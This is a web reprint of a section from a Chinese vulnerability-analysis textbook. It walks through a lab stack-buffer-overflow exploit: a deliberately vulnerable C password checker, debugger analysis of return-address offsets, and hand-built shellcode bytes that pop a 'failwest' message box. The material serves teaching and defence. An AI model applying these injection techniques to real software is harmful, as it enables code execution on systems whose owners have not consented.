频 道 直 达 - 新闻 - 培训 - 软件 - 教程 - 前沿 - 组网 - 系统应用 - 安全 - 编程 - 存储 - 操作系统 - 数据库 - 服务器 - 专题 - 产品 - 案例库 - 读书 - 博客 - BBS
51CTO.COM_中国最大的网络技术网站
找资料:

4.4.2 向进程中植入代码

作者: 出处:电子工业出版社博文视点   2008-04-20 11:46    砖    好    评论   进入论坛
阅读提示:《0 day安全:软件漏洞分析技术》第4章为您展示的是栈溢出利用,本节主要讲述的是向进程中植入代码。

4.4.2 向进程中植入代码

为了完成在栈区植入代码并执行,我们在上节的密码验证程序的基础上稍加修改,使用如下的实验代码。

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");//prepare for messagebox
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}

这段代码在4.3节溢出代码的基础上修改了3处。
(1)增加了头文件windows.h,以便程序能够顺利调用LoadLibrary函数去装载user32.dll。
(2)verify_password函数的局部变量buffer由8字节增加到44字节,这样做是为了有足够的空间来“承载”我们植入的代码。
(3)main函数中增加了LoadLibrary("user32.dll")用于初始化装载user32.dll,以便在植入代码中调用MessageBox。
实验环境如表4-4-1所示。

表4-4-1 实验环境

 

推荐使用的环境

   

操作系统

Windows XP sp2

其他Win32操作系统也可进行本实验

编译器

Visual C++ 6.0

如使用其他编译器,需重新调试

编译选项

默认编译选项

VS2003VS2005中的GS编译选项会使栈溢出实验失败

build版本

debug版本

如使用release版本,则需要重新调试

说明:即便完全采用所推荐的实验环境,函数返回地址、MessageBoxA函数的入口地址等也需要重新确定,因为这些地址可能依赖于操作系统的补丁版本等。这些地址的确定方法在实验指导中均给出了详细的说明。
用VC6.0将上述代码编译(默认编译选项,编译成debug版本),得到有栈溢出的可执行文件。在同目录下创建password.txt文件用于程序调试。

 

我们准备在password.txt文件中植入二进制的机器码,在password.txt攻击成功时,密码验证程序应该执行植入的代码,并在桌面上弹出一个消息框显示“failwest”字样。

让我们在动手之前回顾一下我们需要完成的几项工作。
(1)分析并调试漏洞程序,获得淹没返回地址的偏移。
(2)获得buffer的起始地址,并将其写入password.txt的相应偏移处,用来冲刷返回地址。
(3)向password.txt中写入可执行的机器代码,用来调用API弹出一个消息框。

本节验证程序里verify_password中的缓冲区为44个字节,按照前边实验中对栈结构的分析,我们不难得出栈帧中的状态如图4.4.2所示。

如果在password.txt中写入恰好44个字符,那么第45个隐藏的截断符null将冲掉authenticated低字节中的1,从而突破密码验证的限制。我们不妨就用44个字节作为输入来进行动态调试。

出于字节对齐、容易辨认的目的,我们把“4321”作为一个输入单元。

buffer[44]共需要11个这样的单元。

第12个输入单元将authenticated覆盖;第13个输入单元将前栈帧EBP值覆盖;第14个输入单元将返回地址覆盖。
分析过后,我们需要进行调试验证分析的正确性。首先,在password.txt中写入11组“4321”,共44个字符,如图4.4.3所示

 
图4.4.3 制作溢出文件
如我们所料,authenticated被冲刷后,程序将进入验证通过的分支,如图4.4.4所示。
 
图4.4.4 验证栈的布局
用OllyDbg加载这个生成的PE文件进行动态调试,字符串拷贝函数过后的栈状态如图4.4.5所示。
 
图4.4.5 调试栈的布局

此时的栈区内存如表4-4-2所示。
表4-4-2 栈帧数据

局部变量名

偏移3处的值

偏移2处的值

偏移1处的值

偏移0处的值

buffer[0~3]

0x0012FAF0

0x31 (‘1’)

0x32 (‘2’)

0x33 (‘3’)

0x34 (‘4’)

……

9个双字)

0x31 (‘1’)

0x32 (‘2’)

0x33 (‘3’)

0x34 (‘4’)

buffer[40~43]

0x0012FB18

0x31 (‘1’)

0x32 (‘2’)

0x33 (‘3’)

0x34 (‘4’)

authenticated(被覆盖前)

0x0012FB1C

0x00

0x00

0x00

0x31 (‘1’)

authenticated(被覆盖后)

0x0012FB1C

0x00

0x00

0x00

0x00 (NULL)

前栈帧EBP

0x0012FB20

0x00

0x12

0xFF

0x80

返回地址

0x0012FB24

0x00

0x40

0x11

0x18

动态调试的结果证明了前边分析的正确性。从这次调试中,我们可以得到以下信息。
(1)buffer数组的起始地址为0x0012FAF0。
(2)password.txt文件中第53~56个字符的ASCII码值将写入栈帧中的返回地址,成为函数返回后执行的指令地址。
也就是说,将buffer的起始地址0x0012FAF0写入password.txt文件中的第53~56个字节,在verify_password函数返回时会跳到我们输入的字串开始取指执行。
我们下面还需要给password.txt中植入机器代码。
让程序弹出一个消息框只需要调用Windows的API函数MessageBox。MSDN对这个函数的解释如下。

int MessageBox(
HWND hWnd,   // handle to owner window
LPCTSTR lpText,  // text in message box
LPCTSTR lpCaption,  // message box title
UINT uType   // message box style
);

hWnd [in] 消息框所属窗口的句柄,如果为NULL,消息框则不属于任何窗口。
lpTex [in] 字符串指针,所指字符串会在消息框中显示。
lpCaption [in] 字符串指针,所指字符串将成为消息框的标题。
uType [in] 消息框的风格(单按钮、多按钮等),NULL代表默认风格。

我们将写出调用这个API的汇编代码,然后翻译成机器代码,用十六进制编辑工具填入password.txt文件。

题外话:熟悉MFC的程序员一定知道,其实系统中并不存在真正的MessagBox函数,对MessageBox这类API的调用最终都将由系统按照参数中字符串的类型选择“A”类函数(ASCII)或者“W”类函数(UNICODE)调用。因此,我们在汇编语言中调用的函数应该是MessageBoxA。多说一句,其实MessageBoxA的实现只是在设置了几个不常用参数后直接调用MessageBoxExA。探究API的细节超出了本书所讨论的范围,有兴趣的读者可以参阅其他书籍。

用汇编语言调用MessageboxA需要3个步骤。
(1)装载动态链接库user32.dll。MessageBoxA是动态链接库user32.dll的导出函数。虽然大多数有图形化操作界面的程序都已经装载了这个库,但是我们用来实验的consol版并没有默认加载它。
(2)在汇编语言中调用这个函数需要获得这个函数的入口地址。
(3)在调用前需要向栈中按从右向左的顺序压入MessageBoxA的4个参数。

为了让植入的机器代码更加简洁明了,我们在实验准备中构造漏洞程序的时候已经人工加载了user32.dll这个库,所以第一步操作不用在汇编语言中考虑。

MessageBoxA的入口参数可以通过user32.dll在系统中加载的基址和MessageBoxA在库中的偏移相加得到。具体的我们可以使用VC6.0自带的小工具“Dependency Walker”获得这些信息。您可以在VC6.0安装目录下的Tools下找到它,如图4.4.6所示。

 
图4.4.6 使用Depends

运行Depends后,随便拖拽一个有图形界面的PE文件进去,就可以看到它所使用的库文件了。在左栏中找到并选中user32.dll后,右栏中会列出这个库文件的所有导出函数及偏移地址;下栏中则列出了PE文件用到的所有的库的基地址。

如图4.4.7所示,user32.dll的基地址为0x77D40000,MessageBoxA的偏移地址为0x000404EA。基地址加上偏移地址就得到了MessageBoxA在内存中的入口地址0x77D804EA。

 
图4.4.7 计算相关API的虚拟内存地址

注意:user32.dll的基地址和其中导出函数的偏移地址与操作系统版本号、补丁版本号等诸多因素相关,故您用于实验的计算机上的函数入口地址很可能与这里不一致。请您一定注意要在当前实验的计算机上重新计算函数入口地址,否则后面的函数调用会出错。能够适应于各种操作系统版本的通用的代码植入方法将在第5章进行详细介绍。

有了这个入口地址,就可以编写进行函数调用的汇编代码了。这里我们先把字符串“failwest”压入栈区,消息框的文本和标题都显示为“failwest”,只要重复压入指向这个字符串的指针即可;第1个和第4个参数这里都将设置为NULL。写出的汇编代码和指令所对应的机器代码如表4-4-3所示。

表4-4-3 机器代码

机器代码(十六进制)

   

33 DB

XOR EBX,EBX

压入NULL结尾的“failwest”字符串。之所以用EBX清零后入栈作为字符串的截断符,是为了避免“PUSH 0”中的NULL,否则植入的机器码会被strcpy函数截断

53

PUSH EBX

68 77 65 73 74

PUSH 74736577

68 66 61 69 6C

PUSH 6C696166

8B C4

MOV EAX,ESP

EAX里是字符串指针

续 表  

机器代码(十六进制)

   

53

PUSH EBX

4个参数按照从右向左的顺序入栈,分别为(0,failwest,failwest,0)

消息框为默认风格,文本区和标题都是“failwest

50

PUSH EAX

50

PUSH EAX

53

PUSH EBX

B8 EA 04 D8 77

MOV EAX, 0x77D804EA

调用MessageBoxA。注意:不同的机器这里的函数入口地址可能不同,请按实际值填入!

题外话:从汇编指令到机器码的转换可以有很多种方法。调试汇编指令,从汇编指令中提取出二进制机器代码的方法将在第5章集中讨论。由于这里仅仅用了11条指令和对应的26个字节的机器代码,如果您一定要现在就弄明白指令到机器码是如何对应的话,直接查阅Intel的指令集手工翻译也不是不可以。

将上述汇编指令对应的机器代码按照上一节介绍的方法以十六进制形式逐字抄入password.txt,第53~56字节填入buffer的起址0x0012FAF0,其余的字节用0x90(nop指令)填充,如图4.4.8所示。

 
图4.4.8 将机器代码写入文件
换回文本模式可以看到这些机器代码所对应的字符,如图4.4.9所示。
 
图4.4.9 ASCII编码下的机器代码
这样构造了password.txt之后再运行验证程序,程序执行的流程将如图4.4.10所示。
 
图4.4.10 栈溢出利用示意图
程序运行情况如图4.4.11所示。
 
图4.4.11 输入文件中的代码植入成功
成功地弹出了我们植入的代码。
但是在单击“OK”按钮之后,程序会崩溃,如图4.4.12所示。
 
图4.4.12 被破坏的栈在程序退出时引起程序崩溃

这是因为MessageBoxA调用的代码执行完成后,我们没有写安全退出的代码的缘故。

您会在后面的章节中见到更深入的代码植入讨论,包括编写通用的植入代码,在植入代码中安全地退出,甚至在植入代码结束后修复堆栈和寄存器,让程序重新回到正常的执行流程。

【责任编辑:夏书 TEL:(010)68476606】

回书目   上一节   
专题
程序员如何成长?
网吧管理软件
Oracle较真SAP-商业管理软件之战一触即发
玩转Vista上的杀毒软件
杀毒软件优化和使用技巧
我也说两句

匿名发表

(如果看不清请点击图片进行更换)


中 国 最 大 的 网 络 技 术 网 站 ·
技 术 成 就 梦 想
订阅技术快讯
电子杂志下载
名称:SQL Server数据库管理精品黄皮书
简介:书中文章经过精挑细选,便于用户能根据自己的实际工作和学习,快速在本书寻找到相关资料。内容涵盖了SQL Server的安装与升级、语句查询、数据备份和恢复、自动化任务、数据同步、数据字典、安全和预防、性能和优化、集群等各方面应用信息,以及DBA管理人员在数据库管理工作中
名称:2007路由技术大全
简介:《2007路由技术大全》由51CTO.com网站特别策划制作,该书包括路由器技术、路由器产品、路由器配置、安全设置、路由器故障处理、路由器密码恢复,以及广大网友在实践使用中的心得经验和技巧文章,内容注重实用性,适用于初学者入门,也适合多年从业者提高,是一本实践和理论完
名称:网络安全精品应用黄皮书
简介:《2007精品网络安全黄皮书》包括了9个大类24个小类, 800余篇文章,内容包含了熊猫烧香病毒、DDOS攻击、ARP病等热点问题的介绍及解决方案。从病毒查杀、防范、系统、数据等各方面的安全设置到黑客技术的了解、防范,涉及到了安全应用的全部领域, 由浅至深内容全面。
华为员工自杀频频拷问企业文化
华为员工自杀频频拷问企业文化
视频访谈:网管员如何踏上高薪之路
视频访谈:网管员如何踏上高薪..
首届中国IT工程师生态调查十大发现
首届中国IT工程师生态调查十..
· 首届中国IT工程师生态..
· 思科全球CEO钱伯斯第七..
· 北漂技术人90天求职纪实
· 2007年互联网大会
· 龙芯要做中国的“奔腾”
· IPv6协议--拓展网络无..
· 国际文档格式标准开战
· 微软出价446亿美元收购..
· 贝恩资本携手华为22亿..
· Linux——从菜鸟到高手
· SOA 面向服务架构
· 2008年4月全国计算机等..
· 微软Forefront企业安全..
· 技术人求职简历完备手册
· 勇闯IT培训黑色围城
· 隐私保护技术探讨
ARP攻击防范与解决方案
ARP攻击防范与解决方案
iSCSI应用与发展
iSCSI应用与发展
SQL Server 2008/2005全解
SQL Server 2008/2005全解
· SQL Server 2008/2005..
· SOA 面向服务架构
· SQL Server 2008/2005..
· iSCSI应用与发展
· RAID——磁盘阵列基础
· 中间件应用技术专题
· SQL Server入门到精通
· 病毒查杀专题
· 国际文档格式标准开战
· 路由器设置与口令恢复
· Linux防火墙
· 打造安全服务器
· SOA 面向服务架构
· PHP开发应用手册
· ADSL应用面面俱到
· 入侵防护系统(IPS)初探
ARP攻击防范与解决方案
ARP攻击防范与解决方案
SQL Server 2008/2005全解
SQL Server 2008/2005全解
iSCSI应用与发展
iSCSI应用与发展
· iSCSI应用与发展
· 中间件应用技术专题
· SQL Server入门到精通
· SQL Server 2008/2005..
· SOA 面向服务架构
· iSCSI应用与发展
· RAID——磁盘阵列基础
· 病毒查杀专题
· 路由器设置与口令恢复
· SOA 面向服务架构
· 了解统一威胁管理(UTM)..
· ADSL应用面面俱到
· ADSL应用面面俱到
· 反垃圾邮件技术应用
· PHP开发应用手册
· 中间件应用技术专题